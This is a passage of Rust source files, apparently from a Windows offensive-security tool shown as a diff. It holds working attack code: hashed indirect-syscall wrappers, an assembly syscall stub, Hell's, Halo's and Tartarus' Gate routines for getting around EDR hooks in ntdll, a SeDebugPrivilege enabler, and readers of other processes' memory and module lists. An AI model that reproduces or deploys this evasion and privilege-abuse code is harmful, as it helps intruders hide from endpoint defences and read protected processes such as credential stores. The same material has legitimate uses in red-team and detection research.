/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it.
/// If reading fails or the string is invalid, returns an empty `String`.
pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String {
let mut buffer = vec![0u8; 512]; // Buffer for reading memory.
let mut bytes_read: usize = 0;
// Read memory from the remote process.
let status = unsafe {
instance().ntdll.nt_read_virtual_memory.run(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
if status == 0 {
let mut u16_vec = Vec::new();
// Process the buffer in chunks of 2 bytes (for UTF-16 encoding).
for chunk in buffer.chunks(2) {
if chunk.len() < 2 {
break;
}
let word = u16::from_le_bytes([chunk[0], chunk[1]]);
if word == 0 {
break;
}
u16_vec.push(word);
}
// Convert the UTF-16 data into a Rust String.
String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new())
} else {
String::new()
}
}
/// Reads a pointer-sized integer from a remote process's memory.
///
/// Returns the integer value read from the memory address in the remote process,
/// or `0` if the read operation fails.
pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize {
let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits).
let mut bytes_read: usize = 0;
// Read the pointer-sized integer from the remote process.
let status = unsafe {
instance().ntdll.nt_read_virtual_memory.run(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
// Convert the bytes into a 64-bit unsigned integer and return it as usize.
if status == 0 {
let value = u64::from_le_bytes(buffer);
value as usize
} else {
0
}
}
/// Retrieves the list of loaded modules in a process's memory.
///
/// Uses the process handle to query the PEB (Process Environment Block) and retrieves
/// information about the loaded modules in the process. Optionally filters modules by a hash.
pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option<u32>) -> Vec<ModuleInfo> {
let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() };
let mut return_length: u32 = 0;
// Query the process information to get the PEB base address.
let status = unsafe {
instance().ntdll.nt_query_information_process.run(
process_handle as *mut c_void,
0, // ProcessBasicInformation
&mut process_information as *mut _ as *mut c_void,
core::mem::size_of::<ProcessBasicInformation>() as u32,
&mut return_length,
)
};
if status != 0 {
panic!("[-] Failed to query process information.");
}
debug_println!(
"[+] PEB Base Address: 0x{:x}",
process_information.peb_base_address as usize
);
// Compute the address of the loader's data structure from the PEB.
let ldr_offset = 0x18;
let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void;
let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer);
// Get the address of the module list from the loader data.
let in_initialization_order_module_list_offset = 0x30;
let module_list_address =
(ldr_address + in_initialization_order_module_list_offset) as *mut c_void;
let mut next_flink = read_remote_int_ptr(process_handle, module_list_address);
// Offsets within the LDR module structure.
let flink_dllbase_offset = 0x20;
let flink_buffer_fulldllname_offset = 0x40;
let flink_buffer_offset = 0x50;
let mut module_info_arr: Vec<ModuleInfo> = Vec::new();
let mut dll_base = 1337;
// Loop through the module list until the base address is zero.
while dll_base != 0 {
next_flink -= 0x10;
// Read the base address of the module.
dll_base = read_remote_int_ptr(
process_handle,
(next_flink + flink_dllbase_offset) as *mut c_void,
);
if dll_base == 0 {
break;
}
// Read the base and full DLL names from memory.
let base_dll_name_ptr = read_remote_int_ptr(
process_handle,
(next_flink + flink_buffer_offset) as *mut c_void,
) as *mut c_void;
let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr);
let full_dll_name_ptr = read_remote_int_ptr(
process_handle,
(next_flink + flink_buffer_fulldllname_offset) as *mut c_void,
) as *mut c_void;
let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr);
// If a module hash is provided, filter by hash; otherwise, include all modules.
match module_hash {
Some(value) => {
if value == dbj2_hash(base_dll_name.clone().as_bytes()) {
module_info_arr.push(ModuleInfo {
base_name: base_dll_name,
full_dll_name,
base_address: dll_base,
region_size: 0,
});
break; // Stop searching after finding the matching module.
}
}
None => {
module_info_arr.push(ModuleInfo {
base_name: base_dll_name,
full_dll_name,
base_address: dll_base,
region_size: 0,
});
}
}
// Move to the next module in the list.
next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void);
}
module_info_arr
}
+12
View File
@@ -0,0 +1,12 @@
#[cfg(not(feature = "remote"))]
pub mod file;
pub mod allocator;
pub mod def;
pub mod g_instance;
pub mod memory;
pub mod privilege;
pub mod process;
pub mod syscall;
pub mod syscall_gate;
pub mod utils;
+66
View File
@@ -0,0 +1,66 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use core::{ffi::c_void, ptr::null_mut};
use crate::debug_println;
use super::{
def::{TokenPrivileges, LUID},
g_instance::instance,
};
/// This function enables the SeDebugPrivilege privilege using the NT API.
pub unsafe fn enable_se_debug_privilege() -> i32 {
const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32;
const TOKEN_QUERY: u32 = 8u32;
let current_process_handle = -1isize as *mut c_void;
let mut token_handle: *mut c_void = null_mut();
// Open the process token.
let ntstatus = instance().ntdll.nt_open_process_token.run(
current_process_handle,
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
&mut token_handle,
);
if ntstatus != 0 {
debug_println!(
"[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{:X}",
ntstatus
);
return ntstatus;
}
let luid = LUID {
low_part: 20,
high_part: 0,
};
let mut token_privileges = TokenPrivileges {
privilege_count: 1,
luid: luid,
attributes: 0x00000002,
};
// Adjust token privileges to enable SeDebugPrivilege.
let ntstatus = instance().ntdll.nt_adjust_privileges_token.run(
token_handle,
false,
&mut token_privileges,
core::mem::size_of::<TokenPrivileges>() as u32,
null_mut(),
null_mut(),
);
if ntstatus != 0 {
debug_println!(
"[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{:X}",
ntstatus
);
return ntstatus;
}
ntstatus
}
+149
View File
@@ -0,0 +1,149 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::vec::Vec;
use core::{ffi::c_void, ptr::null_mut};
use crate::{common::utils::dbj2_hash, debug_println};
use super::{
def::{
AccessMask, ClientId, ObjectAttributes, SystemProcessInformation, OBJ_CASE_INSENSITIVE,
STATUS_INFO_LENGTH_MISMATCH,
},
g_instance::instance,
};
/// Takes a snapshot of the currently running processes.
///
/// This function utilizes the `NtQuerySystemInformation` function from the NT API to retrieve
/// information about all processes currently running on the system. It first determines the necessary
/// buffer size, then allocates memory, and finally retrieves the process information.
pub unsafe fn nt_process_snapshot(
snapshot: &mut *mut SystemProcessInformation,
size: &mut usize,
) -> i32 {
let mut length: u32 = 0;
// First call to determine the required length of the buffer for process information.
let mut status =
instance()
.ntdll
.nt_query_system_information
.run(5, null_mut(), 0, &mut length);
// Check if the call returned STATUS_INFO_LENGTH_MISMATCH (expected) or another error.
if status != STATUS_INFO_LENGTH_MISMATCH && status != 0 {
return status;
}
// Allocate memory for the SystemProcessInformation structure.
let mut buffer = Vec::new();
buffer.resize(length as usize, 0);
// Second call to actually retrieve the process information into the allocated buffer.
status = instance().ntdll.nt_query_system_information.run(
5,
buffer.as_mut_ptr() as *mut c_void,
length,
&mut length,
);
// Check if the process information retrieval was successful.
if status != 0 {
return status;
}
// Cast the buffer to the SystemProcessInformation structure.
*snapshot = buffer.as_mut_ptr() as *mut SystemProcessInformation;
*size = length as usize;
// Keep the buffer alive by preventing its deallocation.
core::mem::forget(buffer);
status
}
/// Retrieves a handle to a process with the specified PID and desired access rights using the NT API.
///
/// This function opens a handle to a target process by specifying its process ID (PID) and the desired access rights.
/// The syscall `NtOpenProcess` is used to obtain the handle, and the function initializes the required structures
/// (`OBJECT_ATTRIBUTES` and `CLIENT_ID`) needed to make the system call.
pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c_void {
let mut process_handle: *mut c_void = null_mut();
// Initialize object attributes for the process, setting up the basic structure with default options.
let mut object_attributes = ObjectAttributes::new();
ObjectAttributes::initialize(
&mut object_attributes,
null_mut(), // No name for the object.
OBJ_CASE_INSENSITIVE, // Case-insensitive name comparison.
null_mut(), // No root directory.
null_mut(), // No security descriptor.
);
// Initialize client ID structure with the target process ID.
let mut client_id = ClientId::new();
client_id.unique_process = pid as _;
// Perform a system call to NtOpenProcess to obtain a handle to the specified process.
instance().ntdll.nt_open_process.run(
&mut process_handle,
desired_access,
&mut object_attributes,
&mut client_id as *mut _ as *mut c_void,
);
process_handle
}
/// Retrieves a handle to a process with the specified name hash and desired access rights using the NT API.
///
/// This function takes a process name hash, searches for its process ID (PID) using the `process_snapshot` function,
/// and then opens a handle to the process using `NtOpenProcess`.
pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) -> *mut c_void {
let mut snapshot: *mut SystemProcessInformation = null_mut();
let mut size: usize = 0;
// Take a snapshot of all currently running processes.
let status = nt_process_snapshot(&mut snapshot, &mut size);
if status != 0 {
debug_println!(
"Failed to retrieve process snapshot: NTSTATUS: 0x{:X}",
status
);
return null_mut();
}
let mut current = snapshot;
while !current.is_null() {
// Get the address of the process name.
let name_addr = (*current).image_name.buffer;
let name_len = (*current).image_name.length as usize;
// Only compare if the process has a name.
if !name_addr.is_null() && name_len > 0 {
// Convert the process name to a byte slice.
let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len);
// Calculate the hash of the process name.
let hash = dbj2_hash(name_slice);
// If the hash matches the provided hash, open a handle to the process.
if name == hash {
return get_process_handle((*current).unique_process_id as i32, desired_access);
}
}
// Move to the next process in the list.
if (*current).next_entry_offset == 0 {
break;
}
current = (current as *const u8).add((*current).next_entry_offset as usize)
as *mut SystemProcessInformation;
}
null_mut()
}
+594
View File
@@ -0,0 +1,594 @@
use core::{
ffi::{c_ulong, c_void},
ptr::null_mut,
};
use crate::{
ntapi::def::{AccessMask, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString},
run_syscall,
};
use super::def::TokenPrivileges;
pub struct NtSyscall {
/// The number of the syscall
pub number: u16,
/// The address of the syscall
pub address: *mut u8,
/// The hash of the syscall
pub hash: usize,
}
unsafe impl Sync for NtSyscall {}
impl NtSyscall {
pub const fn new(hash: usize) -> Self {
NtSyscall {
number: 0,
address: null_mut(),
hash: hash,
}
}
}
pub struct NtAllocateVirtualMemory {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtAllocateVirtualMemory {}
impl NtAllocateVirtualMemory {
pub const fn new() -> Self {
NtAllocateVirtualMemory {
syscall: NtSyscall::new(0xf783b8ec),
}
}
}
pub struct NtFreeVirtualMemory {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtFreeVirtualMemory {}
impl NtFreeVirtualMemory {
pub const fn new() -> Self {
NtFreeVirtualMemory {
syscall: NtSyscall::new(0x2802c609),
}
}
}
pub struct NtReadVirtualMemory {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtReadVirtualMemory {}
impl NtReadVirtualMemory {
pub const fn new() -> Self {
NtReadVirtualMemory {
syscall: NtSyscall::new(0xa3288103),
}
}
/// Wrapper for the NtReadVirtualMemory syscall.
///
/// This function reads memory in the virtual address space of a specified process.
///
/// # Arguments
///
/// * `[in]` - `process_handle` A handle to the process whose memory is to be read.
/// * `[in]` - `base_address` A pointer to the base address in the specified process from which to read.
/// * `[out]` - `buffer` A pointer to a buffer that receives the contents from the address space of the specified process.
/// * `[in]` - `buffer_size` The number of bytes to be read into the buffer.
/// * `[out, opt]` - `number_of_bytes_read` A pointer to a variable that receives the number of bytes transferred into the buffer.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
process_handle: *mut c_void,
base_address: *const c_void,
buffer: *mut c_void,
buffer_size: usize,
number_of_bytes_read: *mut usize,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
process_handle,
base_address,
buffer,
buffer_size,
number_of_bytes_read
)
}
}
pub struct NtQueryVirtualMemory {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtQueryVirtualMemory {}
impl NtQueryVirtualMemory {
pub const fn new() -> Self {
NtQueryVirtualMemory {
syscall: NtSyscall::new(0x10c0e85d),
}
}
/// Wrapper for the NtQueryVirtualMemory syscall.
///
/// This function queries information about the virtual memory of a specified process.
///
/// # Arguments
///
/// * `[in]` - `process_handle` A handle to the process whose virtual memory is to be queried.
/// * `[in]` - `base_address` A pointer to the base address in the process's virtual memory space.
/// * `[in]` - `memory_information_class` Specifies the type of information to be queried (e.g., MemoryBasicInformation).
/// * `[out]` - `memory_information` A pointer to a buffer that receives the information about the memory.
/// * `[in]` - `memory_information_length` The size, in bytes, of the buffer pointed to by `memory_information`.
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the number of bytes returned.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
process_handle: *mut c_void,
base_address: *const c_void,
memory_information_class: u32,
memory_information: *mut c_void,
memory_information_length: usize,
return_length: *mut usize,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
process_handle,
base_address,
memory_information_class as usize,
memory_information,
memory_information_length,
return_length
)
}
}
pub struct NtOpenProcess {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtOpenProcess {}
impl NtOpenProcess {
pub const fn new() -> Self {
NtOpenProcess {
syscall: NtSyscall::new(0x4b82f718),
}
}
/// Wrapper for the NtOpenProcess syscall.
///
/// # Arguments
///
/// * `[out]` - `process_handle` A mutable pointer to a handle that will receive the process handle.
/// * `[in]` - `desired_access` The desired access for the process.
/// * `[in]` - `object_attributes` A pointer to the object attributes structure.
/// * `[in, opt]` - `client_id` A pointer to the client ID structure.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
process_handle: &mut *mut c_void,
desired_access: AccessMask,
object_attributes: &mut ObjectAttributes,
client_id: *mut c_void,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
process_handle,
desired_access,
object_attributes as *mut _ as *mut c_void,
client_id
)
}
}
pub struct NtQuerySystemInformation {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtQuerySystemInformation {}
impl NtQuerySystemInformation {
pub const fn new() -> Self {
NtQuerySystemInformation {
syscall: NtSyscall::new(0x7bc23928),
}
}
/// Wrapper for the NtQuerySystemInformation syscall.
///
/// # Arguments
///
/// * `[in]` - `system_information_class` The system information class to be queried.
/// * `[out]` - `system_information` A pointer to a buffer that receives the requested information.
/// * `[in]` - `system_information_length` The size, in bytes, of the buffer pointed to by the `system_information` parameter.
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, of the data returned.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
system_information_class: u32,
system_information: *mut c_void,
system_information_length: u32,
return_length: *mut u32,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
system_information_class,
system_information,
system_information_length,
return_length
)
}
}
pub struct NtQueryInformationProcess {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtQueryInformationProcess {}
impl NtQueryInformationProcess {
pub const fn new() -> Self {
NtQueryInformationProcess {
syscall: NtSyscall::new(0x8cdc5dc2),
}
}
/// Wrapper for the NtQueryInformationProcess syscall.
///
/// # Arguments
///
/// * `[in]` - `process_handle` A handle to the process.
/// * `[in]` - `process_information_class` The class of information to be queried.
/// * `[out]` - `process_information` A pointer to a buffer that receives the requested information.
/// * `[in]` - `process_information_length` The size, in bytes, of the buffer pointed to by the `process_information` parameter.
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, of the data returned.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
process_handle: *mut c_void,
process_information_class: u32,
process_information: *mut c_void,
process_information_length: u32,
return_length: *mut u32,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
process_handle,
process_information_class,
process_information,
process_information_length,
return_length
)
}
}
pub struct NtWriteFile {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtWriteFile {}
impl NtWriteFile {
pub const fn new() -> Self {
NtWriteFile {
syscall: NtSyscall::new(0xe0d61db2),
}
}
/// Wrapper for the NtWriteFile syscall.
///
/// This function writes data to a file or I/O device. It wraps the NtWriteFile syscall.
///
/// # Arguments
///
/// * `[in]` - `file_handle` A handle to the file or I/O device to be written to.
/// * `[in, opt]` - `event` An optional handle to an event object that will be signaled when the operation completes.
/// * `[in, opt]` - `apc_routine` An optional pointer to an APC routine to be called when the operation completes.
/// * `[in, opt]` - `apc_context` An optional pointer to a context for the APC routine.
/// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation.
/// * `[in]` - `buffer` A pointer to a buffer that contains the data to be written to the file or device.
/// * `[in]` - `length` The length, in bytes, of the buffer pointed to by the `buffer` parameter.
/// * `[in, opt]` - `byte_offset` A pointer to the byte offset in the file where the operation should begin. If this parameter is `None`, the system writes data to the current file position.
/// * `[in, opt]` - `key` A pointer to a caller-supplied variable to receive the I/O completion key. This parameter is ignored if `event` is not `None`.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
#[allow(dead_code)]
pub fn run(
&self,
file_handle: *mut c_void,
event: *mut c_void,
apc_routine: *mut c_void,
apc_context: *mut c_void,
io_status_block: &mut IoStatusBlock,
buffer: *mut c_void,
length: c_ulong,
byte_offset: *mut u64,
key: *mut c_ulong,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
file_handle,
event,
apc_routine,
apc_context,
io_status_block,
buffer,
length,
byte_offset,
key
)
}
}
pub struct NtCreateFile {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtCreateFile {}
impl NtCreateFile {
pub const fn new() -> Self {
NtCreateFile {
syscall: NtSyscall::new(0x66163fbb),
}
}
/// Wrapper for the NtCreateFile syscall.
///
/// This function creates or opens a file or I/O device. It wraps the NtCreateFile syscall.
///
/// # Arguments
///
/// * `[out]` - `file_handle` A mutable pointer to a handle that will receive the file handle.
/// * `[in]` - `desired_access` The access to the file or device, which can be read, write, or both.
/// * `[in]` - `obj_attributes` A pointer to an OBJECT_ATTRIBUTES structure that specifies the object name and other attributes.
/// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation.
/// * `[in, opt]` - `allocation_size` A pointer to a LARGE_INTEGER that specifies the initial allocation size in bytes. If this parameter is `None`, the file is allocated with a default size.
/// * `[in]` - `file_attributes` The file attributes for the file or device if it is created.
/// * `[in]` - `share_access` The requested sharing mode of the file or device.
/// * `[in]` - `create_disposition` The action to take depending on whether the file or device already exists.
/// * `[in]` - `create_options` Options to be applied when creating or opening the file or device.
/// * `[in, opt]` - `ea_buffer` A pointer to a buffer that contains the extended attributes (EAs) for the file or device. This parameter is optional.
/// * `[in]` - `ea_length` The length, in bytes, of the EaBuffer parameter.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
#[allow(dead_code)]
pub fn run(
&self,
file_handle: &mut *mut c_void,
desired_access: u32,
obj_attributes: &mut ObjectAttributes,
io_status_block: &mut IoStatusBlock,
allocation_size: *mut LargeInteger,
file_attributes: u32,
share_access: u32,
create_disposition: u32,
create_options: u32,
ea_buffer: *mut c_void,
ea_length: u32,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
file_handle,
desired_access,
obj_attributes,
io_status_block,
allocation_size,
file_attributes,
share_access,
create_disposition,
create_options,
ea_buffer,
ea_length
)
}
}
pub struct NtClose {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtClose {}
impl NtClose {
pub const fn new() -> Self {
NtClose {
syscall: NtSyscall::new(0x40d6e69d),
}
}
/// Wrapper function for NtClose to avoid repetitive run_syscall calls.
///
/// # Arguments
///
/// * `[in]` - `handle` A handle to an object. This is a required parameter that must be valid.
/// It represents the handle that will be closed by the function.
///
/// # Returns
///
/// * `true` if the operation was successful, `false` otherwise.
/// The function returns an NTSTATUS code; however, in this wrapper, the result is simplified to a boolean.
#[allow(dead_code)]
pub fn run(&self, handle: *mut c_void) -> i32 {
run_syscall!(self.syscall.number, self.syscall.address as usize, handle)
}
}
pub struct NtOpenProcessToken {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtOpenProcessToken {}
impl NtOpenProcessToken {
pub const fn new() -> Self {
NtOpenProcessToken {
syscall: NtSyscall::new(0x350dca99),
}
}
/// Wrapper for the NtOpenProcessToken syscall.
///
/// # Arguments
///
/// * `[in]` - `process_handle` The handle of the process whose token is to be opened.
/// * `[in]` - `desired_access` The desired access for the token.
/// * `[out]` - `token_handle` A mutable pointer to a handle that will receive the token handle.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
process_handle: *mut c_void,
desired_access: AccessMask,
token_handle: &mut *mut c_void,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
process_handle,
desired_access,
token_handle
)
}
}
pub struct NtAdjustPrivilegesToken {
pub syscall: NtSyscall,
}
unsafe impl Sync for NtAdjustPrivilegesToken {}
impl NtAdjustPrivilegesToken {
pub const fn new() -> Self {
NtAdjustPrivilegesToken {
syscall: NtSyscall::new(0x2dbc736d),
}
}
/// Wrapper for the NtAdjustPrivilegesToken syscall.
///
/// # Arguments
///
/// * `[in]` - `token_handle` The handle of the token to be adjusted.
/// * `[in]` - `disable_all_privileges` Boolean to disable all privileges.
/// * `[in, opt]` - `new_state` A pointer to a TOKEN_PRIVILEGES structure.
/// * `[in]` - `buffer_length` The length of the buffer for previous privileges.
/// * `[out, opt]` - `previous_state` A pointer to a buffer that receives the previous state.
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the length of the previous state.
///
/// # Returns
///
/// * `i32` - The NTSTATUS code of the operation.
pub fn run(
&self,
token_handle: *mut c_void,
disable_all_privileges: bool,
new_state: *mut TokenPrivileges,
buffer_length: u32,
previous_state: *mut TokenPrivileges,
return_length: *mut u32,
) -> i32 {
run_syscall!(
self.syscall.number,
self.syscall.address as usize,
token_handle,
disable_all_privileges as i32,
new_state,
buffer_length,
previous_state,
return_length
)
}
}
/// Type definition for the LdrLoadDll function.
///
/// Loads a DLL into the address space of the calling process.
///
/// # Parameters
/// - `[in, opt]` - `DllPath`: A pointer to a `UNICODE_STRING` that specifies the fully qualified path of the DLL to load. This can be `NULL`, in which case the system searches for the DLL.
/// - `[in, opt]` - `DllCharacteristics`: A pointer to a variable that specifies the DLL characteristics (optional, can be `NULL`).
/// - `[in]` - `DllName`: A `UNICODE_STRING` that specifies the name of the DLL to load.
/// - `[out]` - `DllHandle`: A pointer to a variable that receives the handle to the loaded DLL.
///
/// # Returns
/// - `i32` - The NTSTATUS code of the operation.
type LdrLoadDll = unsafe extern "system" fn(
DllPath: *mut u16,
DllCharacteristics: *mut u32,
DllName: UnicodeString,
DllHandle: *mut c_void,
) -> i32;
pub struct NtDll {
pub module_base: *mut u8,
pub ldr_load_dll: LdrLoadDll,
pub nt_allocate_virtual_memory: NtAllocateVirtualMemory,
pub nt_free_virtual_memory: NtFreeVirtualMemory,
pub nt_read_virtual_memory: NtReadVirtualMemory,
pub nt_query_virtual_memory: NtQueryVirtualMemory,
pub nt_open_process: NtOpenProcess,
pub nt_query_system_information: NtQuerySystemInformation,
pub nt_query_information_process: NtQueryInformationProcess,
pub nt_create_file: NtCreateFile,
pub nt_write_file: NtWriteFile,
pub nt_close: NtClose,
pub nt_open_process_token: NtOpenProcessToken,
pub nt_adjust_privileges_token: NtAdjustPrivilegesToken,
}
impl NtDll {
pub fn new() -> Self {
NtDll {
module_base: null_mut(),
ldr_load_dll: unsafe { core::mem::transmute(null_mut::<c_void>()) },
nt_allocate_virtual_memory: NtAllocateVirtualMemory::new(),
nt_free_virtual_memory: NtFreeVirtualMemory::new(),
nt_read_virtual_memory: NtReadVirtualMemory::new(),
nt_query_virtual_memory: NtQueryVirtualMemory::new(),
nt_open_process: NtOpenProcess::new(),
nt_query_system_information: NtQuerySystemInformation::new(),
nt_query_information_process: NtQueryInformationProcess::new(),
nt_create_file: NtCreateFile::new(),
nt_write_file: NtWriteFile::new(),
nt_close: NtClose::new(),
nt_open_process_token: NtOpenProcessToken::new(),
nt_adjust_privileges_token: NtAdjustPrivilegesToken::new(),
}
}
}
+157
View File
@@ -0,0 +1,157 @@
use core::arch::global_asm;
global_asm!(
r#"
.globl do_syscall
.section .text
do_syscall:
mov [rsp - 0x8], rsi
mov [rsp - 0x10], rdi
mov [rsp - 0x18], r12
xor r10, r10
mov rax, rcx
mov r10, rax
mov eax, ecx
mov r12, rdx
mov rcx, r8
mov r10, r9
mov rdx, [rsp + 0x28]
mov r8, [rsp + 0x30]
mov r9, [rsp + 0x38]
sub rcx, 0x4
jle skip
lea rsi, [rsp + 0x40]
lea rdi, [rsp + 0x28]
rep movsq
skip:
mov rcx, r12
mov rsi, [rsp - 0x8]
mov rdi, [rsp - 0x10]
mov r12, [rsp - 0x18]
jmp rcx
"#
);
extern "C" {
pub fn do_syscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32;
}
#[cfg(target_arch = "x86_64")]
#[macro_export]
macro_rules! run_syscall {
($ssn:expr, $addr:expr, $($y:expr), +) => {
{
let mut cnt: u32 = 0;
// Count the number of arguments passed
$(
let _ = $y;
cnt += 1;
)+
// Perform the syscall with the given number, address (offset by 0x12),
// argument count, and the arguments
unsafe { $crate::ntapi::syscall_gate::do_syscall($ssn, $addr + 0x12, cnt, $($y), +) }
}
}
}
const UP: isize = -32; // Constant for upward memory search
const DOWN: usize = 32; // Constant for downward memory search
pub unsafe fn get_ssn(address: *mut u8) -> u16 {
// Check if the address is null
if address.is_null() {
return 0;
}
// Hell's Gate: Check if the bytes match a typical syscall instruction sequence
// mov r10, rcx; mov rcx, <syscall>
if address.read() == 0x4c
&& address.add(1).read() == 0x8b
&& address.add(2).read() == 0xd1
&& address.add(3).read() == 0xb8
&& address.add(6).read() == 0x00
&& address.add(7).read() == 0x00
{
// Extract the syscall number from the instruction
let high = address.add(5).read() as u16;
let low = address.add(4).read() as u16;
return ((high << 8) | low) as u16;
}
// Halo's Gate: Check if the syscall is hooked and attempt to locate a clean syscall
if address.read() == 0xe9 {
for idx in 1..500 {
// Check downwards for a clean syscall instruction
if address.add(idx * DOWN).read() == 0x4c
&& address.add(1 + idx * DOWN).read() == 0x8b
&& address.add(2 + idx * DOWN).read() == 0xd1
&& address.add(3 + idx * DOWN).read() == 0xb8
&& address.add(6 + idx * DOWN).read() == 0x00
&& address.add(7 + idx * DOWN).read() == 0x00
{
let high = address.add(5 + idx * DOWN).read() as u16;
let low = address.add(4 + idx * DOWN).read() as u16;
return (high << 8) | (low.wrapping_sub(idx as u16));
}
// Check upwards for a clean syscall instruction
if address.offset(idx as isize * UP).read() == 0x4c
&& address.offset(1 + idx as isize * UP).read() == 0x8b
&& address.offset(2 + idx as isize * UP).read() == 0xd1
&& address.offset(3 + idx as isize * UP).read() == 0xb8
&& address.offset(6 + idx as isize * UP).read() == 0x00
&& address.offset(7 + idx as isize * UP).read() == 0x00
{
let high = address.offset(5 + idx as isize * UP).read() as u16;
let low = address.offset(4 + idx as isize * UP).read() as u16;
return (high << 8) | (low.wrapping_add(idx as u16));
}
}
}
// Tartarus' Gate: Another method to bypass hooked syscalls
if address.add(3).read() == 0xe9 {
for idx in 1..500 {
// Check downwards for a clean syscall instruction
if address.add(idx * DOWN).read() == 0x4c
&& address.add(1 + idx * DOWN).read() == 0x8b
&& address.add(2 + idx * DOWN).read() == 0xd1
&& address.add(3 + idx * DOWN).read() == 0xb8
&& address.add(6 + idx * DOWN).read() == 0x00
&& address.add(7 + idx * DOWN).read() == 0x00
{
let high = address.add(5 + idx * DOWN).read() as u16;
let low = address.add(4 + idx * DOWN).read() as u16;
return (high << 8) | (low.wrapping_sub(idx as u16));
}
// Check upwards for a clean syscall instruction
if address.offset(idx as isize * UP).read() == 0x4c
&& address.offset(1 + idx as isize * UP).read() == 0x8b
&& address.offset(2 + idx as isize * UP).read() == 0xd1
&& address.offset(3 + idx as isize * UP).read() == 0xb8
&& address.offset(6 + idx as isize * UP).read() == 0x00
&& address.offset(7 + idx as isize * UP).read() == 0x00
{
let high = address.offset(5 + idx as isize * UP).read() as u16;
let low = address.offset(4 + idx as isize * UP).read() as u16;
return (high << 8) | (low.wrapping_add(idx as u16));
}
}
}
return 0;
}
+81
View File
@@ -0,0 +1,81 @@
use super::def::{find_peb, OSVersionInfo};
#[cfg(not(feature = "remote"))]
use crate::{common::utils::unicodestring_to_string, ntapi::def::RtlUserProcessParameters};
#[cfg(not(feature = "remote"))]
use alloc::string::String;
pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 {
// Get the pointer to the PEB
let peb = find_peb();
if lp_version_information.dw_os_version_info_size
!= core::mem::size_of::<OSVersionInfo>() as u32
{
return -1;
}
// Fill in the version information from the PEB
lp_version_information.dw_major_version = (*peb).os_major_version;
lp_version_information.dw_minor_version = (*peb).os_minor_version;
lp_version_information.dw_build_number = (*peb).os_build_number;
lp_version_information.dw_platform_id = (*peb).os_platform_id;
lp_version_information.sz_csd_version.fill(0);
0
}
/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB).
#[cfg(not(feature = "remote"))]
pub fn get_current_directory() -> String {
unsafe {
let peb = find_peb();
if !peb.is_null() {
let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters;
let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path;
let dir_str = unicodestring_to_string(&(*cur_dir));
if dir_str.is_some() {
return dir_str.unwrap();
}
}
}
String::new()
}
/// Builds an NT path based on the current working directory (cwd) and a file name.
#[cfg(not(feature = "remote"))]
